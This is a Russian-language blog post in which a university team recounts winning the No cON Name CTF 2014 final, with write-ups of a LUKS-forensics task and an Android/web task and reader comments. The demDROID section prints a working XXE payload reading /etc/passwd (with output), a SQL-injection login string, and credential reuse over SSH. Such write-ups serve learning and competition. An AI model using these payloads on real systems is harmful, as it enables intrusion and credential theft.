No cON Name CTF 2014 Final

    С 30 октября по 1 ноября в Барселоне проходила международная конференция по информационной безопасности No cON Name 2014, в рамках которой уже второй раз проводился финал соревнований «Capture The Flag». Команда университета Иннополис BalalaikaCr3w приняла участие в этом соревновании и заняла первое место. Под катом наш рассказ о том, как это было, несколько примеров заданий и благодарности тем, кто нам в этом помог.


    CTF-зона во время финала

    Что такое CTF


    Для тех, кто не знает, что такое соревнования «Capture The Flag». Это своеобразный аналог соревнований по программированию, только здесь чаще всего приходится не писать свой код, а эксплуатировать ошибки в чужом. Задания имитируют уязвимости, встречающиеся в реальных программах, например, переполнение буфера, «самодельную» криптографию, неэкранированную вставку текста в SQL-запросе, или требуют действий схожих с теми, что применяются при расследовании компьютерных инцидентов: анализ логов, поиск удалённых файлов и скрытых данных. Результатом правильно выполненного задания является текстовая строка — флаг. Полученные флаги сдаются организаторам соревнования для зачисления очков команде.

    Большинство подобных соревнований проходят онлайн и имеют свободную регистрацию. Наиболее крупные из них также имеют финальный тур, где несколько команд (около 10), занявших верхние строчки в онлайн туре, собираются на площадке организаторов, чтобы в равных условиях (независимо от часового пояса) сразиться друг с другом за первое место.

    Немного истории: «No cON Name CTF 2013»


    В прошлом году No cON Name CTF был организован совместно с Facebook. Несмотря на довольно странный отборочный тур, который состоял всего из трех заданий, финал оказался интересным и достойным внимания. Формат финала прошлого года был несколько не типичен для хакерских CTF соревнований: были задания, за решение каждого из которых единовременно давалось некоторое количество очков, а также были нейтральные сервисы, расположенные на серверах организаторов. Команде при эксплуатации уязвимости в одном из сервисов необходимо было записать своё имя в определенный файл на сервере. Раз в заданный промежуток времени проверяющая программа организаторов брала имя команды из данного файла и начисляла ей определенное количество очков.


    Команда BalalaikaCr3w заняла в прошлом году 3 место

    Отборочный тур “No cON Name 2014”


    В этом году отборочный этап длился 24 часа и состоял из 10 заданий, 9 из которых мы решили в первые часы игры. Последнее же задание под названием Explicit нам удалось решить лишь за 5-6 часов до конца CTF. Разборы некоторых заданий отборочного этапа можно прочитать в нашем блоге.

    Финал “No cON Name 2014”


    Финал, как вы уже поняли, проходил в Барселоне, на территории университета Ramón Llull University. Условия: 8 часов, 16 заданий. Цена задания от 150 до 400 очков. Одно из заданий — общий интерактивный сервис, «захват» которого приносит команде 50 очков каждые 10 минут.

    Далее мы опишем пару заданий и наш подход к их решению. Этот текст задумывался не столько для фанатов ИБ, сколько для людей, которым интересно, чем же занимаются на подобных соревнованиях, поэтому некоторые моменты мы упростили, пожертвовав детальностью. Для подробных разборов существуют writeup'ы в блогах команд.

    Задание HIDDENtation (300 очков)


    Задание: "Dig deep into the file and find the flag", дан файл размером около 95 Мб.

    Один из самых приятных моментов на любом CTF — это изучение чего-то нового. На этот раз нам было необходимо разобраться в формате шифрования дисков LUKS. О том, что прилагаемый файл является именно таким виртуальным зашифрованным диском, мы быстро выясняем с помощью hex-редактора и поиска в интернете строки “LUKs” (4C 55 4B 73).



    Штатная утилита cryptsetup для этого формата дисков отказалась работать с файлом из задания, выдав сообщение "Device hiddentation is not a valid LUKS device". Из описания формата мы узнаём, что правильная сигнатура в начале файла должна быть “LUKS” (4C 55 4B 53). Исправляем, теперь файл открывается, но у нас нет ключа от зашифрованного диска.

    Почитав документацию, выясняем, что диск шифруется мастер-ключом, но сам этот ключ не отдаётся пользователю, а хранится в нескольких копиях в зашифрованном виде в заголовке диска. Для расшифровки каждой копии мастер-ключа используется свой пользовательский ключ. Таких пользовательских ключей может быть вплоть до восьми, по количеству специально отведённых для этого ячеек в заголовке диска.

    В нашем случае утилита cryptsetup уверяла, что все восемь ячеек пусты. Но внимательно посмотрев в hex-редакторе на то место, где расположены ячейки, можно увидеть, что в одной из них есть какие-то данные:



    Первые четыре байта записи со значением 0x0000DEAD показывают, что она неактивна. Заменив их на 0x00AC71F3 активируем эту запись. Теперь нужно найти пользовательский ключ для этой ячейки.

    Сразу после заголовка, в том месте, где обычно идут нулевые байты, добавленные для выравнивания, содержится текст с какими-то спецсимволами:



    "Try \x19 most common passwd in \x07\xDD", что можно интерпретировать как: "Попробуйте 25 самых популярных паролей 2013-го года". Однако, ни один из 25 самых популярных паролей не позволил открыть контейнер.

    Следующий шаг, к сожалению, оказался игрой в “угадайку” (самая нелюбимая категория заданий для всех CTF команд). Нам повезло, что утилита cryptsetup создавала такие же контейнеры, как и контейнеры в задании. Создав контейнер самостоятельно, мы заметили, что запись для последнего ключа в поле “key material offset” содержит значение 0x0708, однако в файле из задания оно равно 0x0608:



    Замена на правильное значение позволяет открыть контейнер с паролем "shadow".

    Но это еще не все решение. В расшифрованном контейнере содержался образ диска с тремя разделами. Файлы-подсказки на первых двух разделах говорили о том, что нужно искать на третьем. Третий же раздел не содержал вообще никаких файлов. Как нам потом пояснили организаторы, по некоторому смещению там содержался NTFS раздел, на котором был файл. Однако мы воспользовались первым правилом CTF: "strings everywhere". Среди кучи строк из файла обнаруживаем одну очень интересную:

    rot13:APAq986942o809qnn32n6987n7422771n53s59r5n1s02rq700ppr43p5196non749r

    В результате после применения rot13 мы получаем флаг:
    NCNd986942b809daa32a6987a7422771a53f59e5a1f02ed700cce43c5196aba749e.

    Задание demDROID (400 очков)


    Задание: дано приложение для Android в виде .apk-файла.

    На хабре немало статей, как декомплировать такие файлы, так что останавливаться на этом не будем. После декомпиляции мы выясняем, что приложение подключается к серверу 10.210.6.1 в игровой подсети и отправляет следующий HTTP-запрос:

    POST / HTTP/1.0
    Content-Type: text/xml
    User-Agent: denDROID 1.0
    Host: 10.210.6.1
    
    <login><username>{$username}</username><password>{$password}</password></login>
    

    В этот момент у нас появилось два варианта эксплуатации:

    1. SQL-инъекция. Сравним два запроса (без заголовков):

    Обычный запрос:
    <login><username>balalaika</username><password>asd</password></login>

    Ответ:
    <response>User balalaika is not found!</response>


    Запрос с инъекцией в логине:
    <login><username>q' OR 'x'='x</username><password>asd</password></login>

    Ответ:
    <response>Invalid password for user q' OR 'x'='x!</response>


    2. Атака XXE (XML eXternal Entity)

    Запрос:
    <!DOCTYPE login [<!ENTITY xxe SYSTEM "/etc/passwd">]><login><username>q' OR 1=1 /*&xxe;</username><password>&xxe;</password></login>

    Ответ:
    <response>Invalid password for user q' OR 1=1 /*root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/bin/sh
    bin:x:2:2:bin:/bin:/bin/sh
    sys:x:3:3:sys:/dev:/bin/sh
    # sync:x:4:65534:sync:/bin:/bin/sync
    # games:x:5:60:games:/usr/games:/bin/sh
    man:x:6:12:man:/var/cache/man:/bin/sh
    # lp:x:7:7:lp:/var/spool/lpd:/bin/sh
    # mail:x:8:8:mail:/var/mail:/bin/sh
    # news:x:9:9:news:/var/spool/news:/bin/sh
    # uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
    proxy:x:13:13:proxy:/bin:/bin/sh
    www-data:x:33:33:www-data:/var/www:/bin/sh
    backup:x:34:34:backup:/var/backups:/bin/sh
    list:x:38:38:Mailing List Manager:/var/list:/bin/sh
    irc:x:39:39:ircd:/var/run/ircd:/bin/sh
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
    nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
    libuuid:x:100:101::/var/lib/libuuid:/bin/sh
    sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
    messagebus:x:102:103::/var/run/dbus:/bin/false
    ch6:x:1000:1000::/home/ch6:/bin/sh
    !</response>
    


    Пробуем перебрать с помошью XXE различные варианты имени файла с флагом (flag, flag.txt, /flag, /flag.txt и т.д.), а также различные конфигурационные файлы (например, /etc/nginx/nginx.conf), но не находим ничего интересного.

    Возвращаемся к эксплуатации SQL-инъекции. Используя функцию SUBSTR(), мы посимвольно подбираем логин и пароль, как оказалось, единственного пользователя в базе. Пробуем залогиниться под ним:

    <login><username>l3wlzHunt3r</username><password>mw4h4h4</password></login>

    Ответ сервера:

    <response>Welcome, l3wlzHunt3r!
    
    Good job! But your flag is in another castle!</response>
    



    Ох уж эти тролли

    Увы, это не ответ. Иногда задания на CTF устроены таким образом, что правильный на первый взгляд способ решения приводит к ложному результату. Honeypot, так сказать.

    В базе больше ничего не было, поэтому пришлось вернуться к XXE. Посмотрев файл .bash_history пользователя ch6, мы увидели некоторые подозрительные строки:

    ...
    tjG86fKwJ2yZ
    ...
    sudo vim /etc/hosts
    ping Wopr
    sudo vim /etc/hosts
    ping Osiris
    nc Osiris 1135
    nc Osiris 11235
    curl Osiris 11235
    curl Osiris:11235
    ...
    

    Оказалось, что tjG86fKwJ2yZ — это пароль пользователя ch6. Далее дело за малым:

    ssh ch6@10.210.6.1
    tjG86fKwJ2yZ
    
    $ curl Osiris:11235
    NcN_f86c108687fd25eea4f8ba10dd4c9bad8fa70a9f74179caf617364965cb8cb4f
    

    Флаг: NcN_f86c108687fd25eea4f8ba10dd4c9bad8fa70a9f74179caf617364965cb8cb4f

    Хочется отметить, что это не очень обдуманный ход со стороны организаторов, потому что права были выставлены таким образом, что доступ по ssh позволял почистить .bash_history, добавить в authorized_keys свои открытые ключи, а также полностью запретить доступ другим командам.

    Еще примечательно, что хост Osiris (адрес которого можно было узнать через XXE из файла /etc/hosts) не был доступен напрямую с компьютеров команд. Обратится к нему можно было только с сервера 10.210.6.1.

    Тем не менее, задание оказалось непростым и в общем-то интересным, потому что потребовались навыки сразу в двух категориях (reverse + web).

    Хронология


    Мы практически с первых минут взяли инициативу в свои руки, сделав first blood:

    Первым решенным нами заданием была достаточно простая стеганография под названием WireTap.

    К середине дня хозяева турнира, опытнейшая испанская команда int3pids, открыли счет своим очкам, захватив нейтральный сервис dragons. Интрига нарастала, поскольку за захваченный сервис int3pids получали по 50 очков каждые 10 минут, при этом параллельно решая другие задания и получая очки за них. Пару часов спустя в борьбу вступила украинская команда dcua, решив задание под названием vodka, но претендовать на победу им было уже сложно: наша команда BalalaikaCr3w и команда хозяев int3pids были уже слишком далеко впереди.

    В итоге нам удалось продержаться на верхней строчке скорборда до самого конца соревнований:

    Команды с нулевым счетом не отображались на скорборде

    Стоит отметить, что NcN CTF в Барселоне проходит только второй год и является не таким популярным и известным, как некоторые другие CTF-соревнования. Однако качество проведения мероприятия растет. Хочется пожелать ассоциации No cON Name не останавливаться на достигнутом, а продолжать двигаться дальше, готовить еще больше интересных заданий, привлекать больше спонсоров и повышать уровень и престиж своей конференции и CTF.

    Благодарности


    Команда BalalaikaCr3w выражает благодарность Университету Иннополис за поддержку и организацию нашей поездки на финал. Иннополис — новый вуз с фокусом на ИТ и робототехнику. Со следующего года планируется открытие магистратуры Cyber Security, и они активно привлекают молодых профессионалов в области информационной безопасности.

    Также наша команда благодарна компаниям «Актив» и «ABBYY Language Services» за посильную поддержку своих сотрудников для участия в данном мероприятии.

    Ссылки


    Разборы заданий с финала No cON Name CTF 2014 и других соревнований читайте в нашем блоге: ctfcrew.org
    Информация о предстоящих CTF и вообще обо всех событиях в CTF мире на главном ресурсе всех команд: ctftime.org.

    Similar posts

    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More
    Ads

    Comments 8

      +2
      А может в demDROID предполагалось что участники сделают http запрос через xxe, а подходящий пароль — глупое недоразумение?
        +2
        Да, мне тоже это кажется самым вероятным сценарием, что просто кто-то из организаторов не вовремя ввел пароль, а потом не удалил из истории.

        Или еще один вариант, чуть более хардкорный — .bash_history вообще не должен был быть доступен, нужно было прочитать /etc/hosts и затем перебрать через XXE порты хостов Wopr и Osiris, т.к. с наших IP адресов эти хосты не были доступны.
          +1
          Именно так и предполагалось, я у организаторов спрашивал потом. Лично я просканил все внутренние порты через XXE и нашел примерно 20 открытых. Стал проверять что там висит, но там просто по таймауту отваливалось на первых 10 портах, так что я забил и стал дальше искать в других местах. А оказалось, что это они специально 20 портов открытых оставили.
          +3
          Увлекательно, и вместе с тем, вполне понятно для тех, кто далек от информационной безопасности!
            +1
            Хотелось бы заметить, что интернета на соревновании не было вообще, поэтому не очень понятно, как предполагалось решать задания вроде HIDDENtation. Когда мы наконец-то social engineering'ом смогли получить от организаторов доступ в интернет, было уже слишком поздно (2.5 часа до конца). Насколько я знаю, 3 команды вообще не набравшие очков, доступ в интернет так и не получили. Жирный минус организаторам.
              +1
              Жаль, что за social engineering не начисляли баллы. Похоже, что мы бы получили first blood, т.к. в самом начале услышали объявление от организаторов, что Интернет доступен через Wi-Fi, а через Ethernet — только игровая сеть.
                0
                То, что интернет через их Wi-Fi был, это было известно. Только пароль от него они давать отказывались долго.
              –1
              Мимо, перенес куда надо.

              Only users with full accounts can post comments. Log in, please.